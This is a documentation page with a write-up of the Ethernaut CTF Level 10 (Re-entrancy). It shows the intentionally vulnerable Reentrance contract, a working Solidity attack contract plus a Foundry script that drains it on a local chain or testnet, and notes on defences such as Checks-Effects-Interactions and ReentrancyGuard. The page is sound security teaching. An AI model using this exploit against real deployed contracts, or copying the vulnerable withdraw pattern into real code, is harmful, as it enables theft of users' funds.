Eridian
eridian.xyzx.comGitHub
  • 📖Eridian Docs
  • Ethereum Dev
    • ✏️Ethereum Notes
      • 🎛️Technical Basics
      • 🪧Ethereum Addresses
      • 📚Ethereum State Explained
      • ⛽Gas Fees Explained
    • 🔧Useful Tools
      • ☁️Ethers
      • *️⃣Ethernal
    • 📝Solidity Notes
      • ❔Interview Questions
        • 🟢1. Easy - Interview Questions
        • 🟠2. Medium - Interview Questions
        • 🟡3. Hard - Interview Questions
        • 🔴4. Advanced - Interview Questions
      • 💡Note Ideas
      • ABI
      • abi.encodePacked
      • Abstract Contracts
      • Arrays
      • Casting
      • CEI - Checks, Effects, Interactions
      • Comments (NATSPEC)
      • Constructor
      • Contract Structure & Versions
      • Data - Storage vs Memory
      • Data - Storage Layout
      • Enum
      • Errors (require & revert)
      • Events
      • EVM Opcodes
      • External Contract Interaction
      • 🏗️External Dependencies
      • Functions
      • Function Modifiers
      • If / Else / For / While Loops
      • Inheritance
      • Interfaces
      • Keccak256
      • Library
      • Mappings
      • msg.sender
      • Objects & Types
      • OpenZeppelin
      • Payable
      • Public State Variable vs Function
      • Receive & Fallback
      • Security
      • Self Destruct
      • Send ETH (transfer, send, call)
      • Stack Too Deep
      • Structs
      • Style Guide
      • Time Units
      • Try / Catch
      • Typecasting
      • Using Directive
      • Variables, Consts & Immutable
      • Withdraws
    • ⚒️Foundry Notes
      • 📖Docs & GitHub Pages
      • 🤝Useful Commands
        • 🔨Anvil
        • 🪄Cast
        • 🔥Forge
      • 🧪Tests
        • Cheatcodes
      • 📝Useful Scripts
        • Deploy Contract Using Hex
    • 👾DeFi Challenges
      • 👨‍🚀Ethernaut
        • Ethernaut - Template
        • Level 1 - Fallback ⏺
        • Level 2 - Fallout ⏺
        • Level 3 - Coin Flip ⏺⏺
        • Level 4 - Telephone ⏺
        • Level 5 - Token ⏺⏺
        • Level 6 - Delegation ⏺⏺
        • Level 7 - Force ⏺⏺⏺
        • Level 8 - Vault ⏺⏺
        • Level 9 - King ⏺⏺⏺
        • Level 10 - Re-entrancy ⏺⏺⏺
        • Level 11 - Elevator ⏺⏺
        • Level 12 - Privacy ⏺⏺⏺
        • Level 13 - Gatekeeper 1 ⏺⏺⏺⏺
        • Level 14 - Gatekeeper 2 ⏺⏺⏺
        • Level 15 - Naught Coin ⏺⏺⏺
        • Level 16 - Preservation ⏺⏺⏺⏺
        • Level 17 - Recovery ⏺⏺⏺
        • Level 18 - Magic Number ⏺⏺⏺
        • Level 19 - Alien Codex ⏺⏺⏺⏺
        • Level 20 - Denial ⏺⏺⏺
        • Level 21 - Shop ⏺⏺
        • Level 22 - Dex ⏺⏺
        • Level 23 - Dex Two ⏺⏺
        • Level 24 - Puzzle Wallet ⏺⏺⏺⏺
        • Level 25 - Motorbike ⏺⏺⏺
        • Level 26 - DoubleEntryPoint ⏺⏺
        • Level 27 - Good Samaritan ⏺⏺⏺
        • Level 28 - Gatekeeper 3 ⏺⏺⏺
        • Level 29 - Switch ⏺⏺⏺⏺
        • Level 30 - Higher Order ⏺⏺⏺⏺
        • Level 31 - Stake ⏺⏺⏺
      • 💸Damn Vulnerable DeFi
    • 🔍Auditing
      • 🗞️Exploit Resources
      • 🔧Audit Tools
    • 🤖MEV
  • Infrastructure Docs
    • 💻Hardware
    • 🐧Linux
      • 📖Linux Glossary
      • ⌨️Linux Commands
      • 💾Installation
      • 🏗️Maintenance
      • 🖥️Ubuntu Desktop
      • 🛜ZeroTier
      • 🎞️TMUX
      • 🔵Bluetooth
    • ⛓️Ethereum Clients
      • ⚙️Execution Clients
        • ⛏️Geth
          • 💾Installation
          • ⌨️Useful Commands
          • 🏗️Maintenance
        • 🐻Erigon
          • 💾Installation
          • ⌨️Useful Commands
          • 🏗️Maintenance
        • 🧶Besu
          • 💾Installation
          • ⌨️Useful Commands
          • 🏗️Maintenance
      • 🤝Beacon Clients
        • 💡Lighthouse
          • 💾Installation
          • ⌨️Useful Commands
          • 🏗️Maintenance
        • 🪅Teku
          • 💾Installation
          • ⌨️Useful Commands
          • 🏗️Maintenance
      • 💎Validator Clients
        • 💡Lighthouse
          • 💾Installation
          • ⌨️Useful Commands
          • 🏗️Maintenance
      • ➕L2 Clients
        • 🔵Base
          • 💾Installation
          • ⌨️Useful Commands
          • 🏗️Maintenance
      • 💰MEV Boost
        • 💾Installation
        • 🏗️Maintenance
    • 🚨Alerting and Monitoring
      • 🔥Prometheus
      • 🌡️HealthChecks.io
      • 📟PagerDuty
  • General Dev
    • 💾Git Notes
      • Repos
      • Committing changes
      • Branches
      • Merging & Rebasing
      • PRs
Powered by GitBook
On this page
  • Level Setup
  • Level Contract
  • Exploit
  • Completion Message
  • Notes
Edit on GitHub
  1. Ethereum Dev
  2. DeFi Challenges
  3. Ethernaut

Level 10 - Re-entrancy ⏺⏺⏺

Last updated 8 months ago

Level Setup

The goal of this level is for you to steal all the funds from the contract.

Things that might help:

  • Untrusted contracts can execute code where you least expect it.

  • Fallback methods

  • Throw/revert bubbling

  • Sometimes the best way to attack a contract is with another contract.

  • See the page above, section "Beyond the console"

Level Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;

import 'openzeppelin-contracts-06/math/SafeMath.sol';

contract Reentrance {
  
  using SafeMath for uint256;
  mapping(address => uint) public balances;

  function donate(address _to) public payable {
    balances[_to] = balances[_to].add(msg.value);
  }

  function balanceOf(address _who) public view returns (uint balance) {
    return balances[_who];
  }

  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      (bool result,) = msg.sender.call{value:_amount}("");
      if(result) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }

  receive() external payable {}
}

Exploit

The exploit is a standard reentrancy attack made possible because the funds are sent before the state variable is updated. The receiving contract can then call the withdraw function again, leading to more funds being withdrawn than should have been available.

  1. Call the withdraw() function from the receive() function.

make anvil-exploit-level-10

<INPUT_LEVEL_INSTANCE_CONTRACT_ADDRESS>
make holesky-exploit-level-10

<INPUT_LEVEL_INSTANCE_CONTRACT_ADDRESS>
src/Level10.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import {Script, console} from "forge-std/Script.sol";

interface IReentrance {
    function donate(address _to) external payable;
    function withdraw(uint256 _amount) external;
}

/**
 * Explainer from: https://solidity-by-example.org/fallback
 * ETH is sent to contract
 *      is msg.data empty?
 *           /    \
 *         yes    no
 *         /       \
 *    receive()?  fallback()
 *      /     \
 *    yes     no
 *    /        \
 * receive()  fallback()
 */

// ================================================================
// │                       LEVEL 10 - REENTRANCY                  │
// ================================================================
contract Reentrancy {
    IReentrance targetContract;
    uint256 attackValue;

    constructor(address _targetContractAddress) payable {
        targetContract = IReentrance(_targetContractAddress);
        attackValue = address(targetContract).balance;
        if (attackValue == 0) revert("Target contract has no funds to exploit");
        if (attackValue > address(this).balance) revert("Target contract has more funds than the exploit contract");
    }

    function attack() public {
        // Attack contract
        targetContract.donate{value: attackValue}(address(this));
        targetContract.withdraw(attackValue);

        (bool refundSuccess,) = address(msg.sender).call{value: address(this).balance}("");
        if (!refundSuccess) revert("Refund call failed");
    }

    receive() external payable {
        uint256 targetBalance = address(targetContract).balance;
        if (targetBalance >= attackValue) {
            targetContract.withdraw(attackValue);
        }
    }
}
script/Level10.s.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import {Script, console} from "forge-std/Script.sol";
import {HelperFunctions} from "script/HelperFunctions.s.sol";
import {Reentrancy} from "../src/Level10.sol";

// ================================================================
// │                       LEVEL 10 - REENTRANCY                  │
// ================================================================
contract Exploit is Script, HelperFunctions {
    function run() public {
        address targetContractAddress = getInstanceAddress();

        vm.startBroadcast();
        Reentrancy reentrancy = new Reentrancy{value: 1 ether}(targetContractAddress);
        reentrancy.attack();
        vm.stopBroadcast();
    }
}
  1. Submit instance... 🥳

Completion Message

Always assume that the receiver of the funds you are sending can be another contract, not just a regular address. Hence, it can execute code in its payable fallback method and re-enter your contract, possibly messing up your state/logic.

Re-entrancy is a common attack. You should always be prepared for it!

The DAO Hack

Notes

  • No function, including the receive() function, can be invoked from logic in the constructor.

In order to prevent re-entrancy attacks when moving funds out of your contract, use the being aware that call will only return false without interrupting the execution flow. Solutions such as or can also be used.

transfer and send are no longer recommended solutions as they can potentially break contracts after the Istanbul hard fork .

The famous DAO hack used reentrancy to extract a huge amount of ether from the victim contract. See .

👾
👨‍🚀
Checks-Effects-Interactions pattern
ReentrancyGuard
PullPayment
Source 1
Source 2
15 lines of code that could have prevented TheDAO Hack
"?"
https://github.com/EridianAlpha/ethernaut-foundry/blob/main/script/Level10.s.solgithub.com
ethernaut/contracts/src/levels/Reentrance.sol at a89c8f7832258655c09fde16e6602c78e5e99dbd · OpenZeppelin/ethernautGitHub
The EthernautOpenZeppelin
ethernaut-openzeppelin-hacks/level_10_Re-entrancy.md at e936301859334383d568a614084917100319205e · nvnx7/ethernaut-openzeppelin-hacksGitHub
https://github.com/EridianAlpha/ethernaut-foundry/blob/main/src/Level10.solgithub.com
Logo
Logo
Logo